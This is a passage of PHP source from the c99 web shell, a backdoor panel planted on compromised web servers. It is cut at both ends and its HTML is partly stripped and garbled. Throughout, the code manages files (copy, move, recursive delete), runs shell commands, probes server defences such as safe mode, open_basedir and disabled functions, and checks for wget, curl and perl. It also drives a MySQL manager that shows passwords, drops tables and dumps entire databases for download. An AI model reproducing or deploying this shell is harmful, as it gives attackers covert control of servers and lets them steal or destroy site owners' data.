(!function_exists("c99_sess_put")) { function c99_sess_put($data) { global $sess_cookie; global $sess_data; c99_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } foreach (array("sort","sql_sort") as $v) { if (!empty($_GET[$v])) {$$v = $_GET[$v];} if (!empty($_POST[$v])) {$$v = $_POST[$v];} } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0,$len)."...".substr($content,-$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) { return FALSE; } else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) { return copy($d,$t); } else { return FALSE; } } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { $ret = TRUE; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return FALSE;} } else {return FALSE;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return FALSE;} } } if (!function_exists("tabsort")) { function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} } if (!function_exists("view_perms")) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400)?"r":"-"; $owner["write"] = ($mode & 00200)?"w":"-"; $owner["execute"] = ($mode & 00100)?"x":"-"; $group["read"] = ($mode & 00040)?"r":"-"; $group["write"] = ($mode & 00020)?"w":"-"; $group["execute"] = ($mode & 00010)?"x":"-"; $world["read"] = ($mode & 00004)?"r":"-"; $world["write"] = ($mode & 00002)? "w":"-"; $world["execute"] = ($mode & 00001)?"x":"-"; if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} return $type.join("",$owner).join("",$group).join("",$world); } } if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); } } if (!function_exists("parsesort")) { function parsesort($sort) { $one = intval($sort); $second = substr($sort,-1); if ($second != "d") {$second = "a";} return array($one,$second); } } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} else {return "".view_perms(fileperms($o))."";} } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $sh_ver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = TRUE;} if (empty($file)) { $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = TRUE;} if (sizeof($tabs) == 0) { //Retrieve tables-list $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $out = " # Dumped by ".$sh_name." # # Host settings: # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." # Date: ".date("d.m.Y H:i:s")." # DB: \"".$db."\" #---------------------------------------------------------"; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} //Receieve query for create table structure $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";\n\n"; //Receieve table variables $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------\n\n"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep=" and",$functs=array()) { if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= $functs[$k]."(";} $value .= "'".addslashes($v)."'"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo ""; if ($tbl_struct) { echo "
"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



Fields:
"; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ ".$name."
";} echo "
"; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists("mysql_create_db")) { function mysql_create_db($db,$sock="") { $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (" ",$query); $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return FALSE;} } } if (!function_exists("c99fsearch")) { function c99fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== FALSE) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {c99fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == "gofile") { if (is_dir($f)) { $act = "ls"; $d = $f; } else { $act = "f"; $d = dirname($f); $f = basename($f); } } //Sending Headers @ob_start(); @ob_implicit_flush(0); function onphpshutdown() { global $gzipencode,$ft; if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { $v = @ob_get_contents(); @ob_end_clean(); @ob_start("ob_gzHandler"); echo $v; @ob_end_flush(); } } function c99shexit() { onphpshutdown(); exit; } header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", FALSE); header("Pragma: no-cache"); //Setting Temporary Dir if (empty($tmpdir)) { $tmpdir = ini_get("upload_tmp_dir"); if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} } $tmpdir = realpath($tmpdir); $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} //Getting Status function showstat($stat) { if ($stat=="on") { return "ON"; } else { return "OFF"; } } function testperl() { if (ex('perl -h')) { return showstat("on"); } else { return showstat("off"); } } function testfetch() { if(ex('fetch --help')) { return showstat("on"); } else { return showstat("off"); } } function testwget() { if (ex('wget --help')) { return showstat("on"); } else { return showstat("off"); } } function testoracle() { if (function_exists('ocilogon')) { return showstat("on"); } else { return showstat("off"); } } function testpostgresql() { if (function_exists('pg_connect')) { return showstat("on"); } else { return showstat("off"); } } function testmssql() { if (function_exists('mssql_connect')) { return showstat("on"); } else { return showstat("off"); } } function testcurl() { if (function_exists('curl_version')) { return showstat("on"); } else { return showstat("off"); } } function testmysql() { if (function_exists('mysql_connect')) { return showstat("on"); } else { return showstat("off"); } } function showdisablefunctions() { if ($disablefunc=@ini_get("disable_functions")){ return "".$disablefunc.""; } else { return "NONE"; } } //Getting Safe Mode Status if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = TRUE; $hsafemode = "SAFE MODE is ON (Secure)"; } else { $safemode = FALSE; $hsafemode = "SAFE MODE is OFF (Not Secure)"; } $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") { $openbasedir = TRUE; $hopenbasedir = "".$v.""; } else { $openbasedir = FALSE; $hopenbasedir = "OFF (not secure)"; } $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set("highlight.bg",$highlight_bg); @ini_set("highlight.comment",$highlight_comment); @ini_set("highlight.default",$highlight_default); @ini_set("highlight.html",$highlight_html); @ini_set("highlight.keyword",$highlight_keyword); @ini_set("highlight.string",$highlight_string); if (!is_array($actbox)) { $actbox = array(); } $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); //Directory $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $d = str_replace("\\\\","\\",$d); $dispd = htmlspecialchars($d); /***** HTML START *****/ echo $html_start; echo "

$sh_name

.: No System is Perfectly Safe :.
\n"; echo "". ""; echo ""; echo "

". "Software : ".$DISP_SERVER_SOFTWARE ." - php.ini
". "$hsafemode
". "OS : ".php_uname()."
"; if (!$win) { echo "User ID : ".myshellexec("id"); } else { echo "User : " . get_current_user(); } echo "

Server IP : ".gethostbyname($_SERVER["HTTP_HOST"])." - ". "Your IP : ".$_SERVER["REMOTE_ADDR"]."
"; if($win){echo "Drives : ".disp_drives($d,$surl)."
";} echo "Freespace : ".disp_freespace($d); echo "

"; echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql(). " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."
"; echo "Disabled Functions: ".showdisablefunctions(); echo "

"; echo "

"; $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); $i = 0; foreach($pd as $b) { $t = ""; $j = 0; foreach ($e as $r) { $t.= $r.DIRECTORY_SEPARATOR; if ($j == $i) { break; } $j++; } echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; $i++; } echo " - "; if (is_writable($d)) { $wd = TRUE; $wdt = "[OK]"; echo "".view_perms(fileperms($d)).""; } else { $wd = FALSE; $wdt = "[Read-Only]"; echo "".view_perms_color($d).""; } ?>

Directory:
\n"; //Action if ($act == "") { $act = $dspact = "ls"; } if ($act == "phpini" ) { get_phpini(); } if ($act == "sql") { $sql_surl = $surl."act=sql"; if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} $sql_surl .= "&"; echo "

Attention! SQL-Manager is NOT a ready module! Don't reports bugs.

". "". ""; if (!$sql_sock) { echo ""; } echo "
"; if ($sql_server) { $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); $err = mysql_smarterror(); @mysql_select_db($sql_db,$sql_sock); if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} } else {$sql_sock = FALSE;} echo ".: SQL Manager :.
"; if (!$sql_sock) { if (!$sql_server) {echo "NO CONNECTION";} else {echo "Can't connect! ".$err;} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); $sqlquicklaunch[] = array("Logout",$surl."act=sql"); echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} } echo "
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  • "; echo ""; } else { //Start left panel if (!empty($sql_db)) { ?>
    Please, fill the form:
    UsernamePasswordDatabase
    HostPORT
    ">Home
    ".htmlspecialchars($sql_db)." ]---
    "; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} if (!$c) {echo "No tables found in database.";} } } else { ?>
    Home

    Please, select database
    "; //Start center panel $diplay = TRUE; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = "no";} echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo "
    "; $acts = array("","dump"); if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ""; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { echo "
    "; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



    ";} } if (in_array($sql_act,$acts)) { ?>
    Create new table:
    Dump DB:
    ">
    ";} if ($sql_act == "newtbl") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; } else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} } elseif ($sql_act == "dump") { if (empty($submit)) { $diplay = FALSE; echo "
    SQL-Dump:

    "; echo "DB:

    "; $v = join (";",$dmptbls); echo "Only tables (explode \";\") 1: 

    "; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "File: 

    "; echo "Download:  

    "; echo "Save to file:  "; echo "



    1 - all, if empty"; echo "
    "; } else { $diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0; $set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array(); if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($ret)); header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,"w"); if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; } } else {echo "Dump: nothing to do!";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(" ",$sql_order); if (count($e) == 2) { if ($e[0] == "d") {$asc_desc = "DESC";} else {$asc_desc = "ASC";} $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; $result = mysql_query($query) or print(mysql_smarterror()); echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; echo "[ Structure ]   "; echo "[ Browse ]   "; echo "[ Dump ]   "; echo "Insert ]   "; if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";} if ($sql_tbl_act == "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } //Not Ready else { echo "

    Inserting row into table:
    "; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "
    "; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo ""; $i++; } echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; echo "Insert as new row"; if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} echo "

    "; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo "
    "; echo "\"Pages\" "; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} else {echo " ";} } if ($i == 0) {echo "empty";} echo "
    From:  To:  
    "; echo "
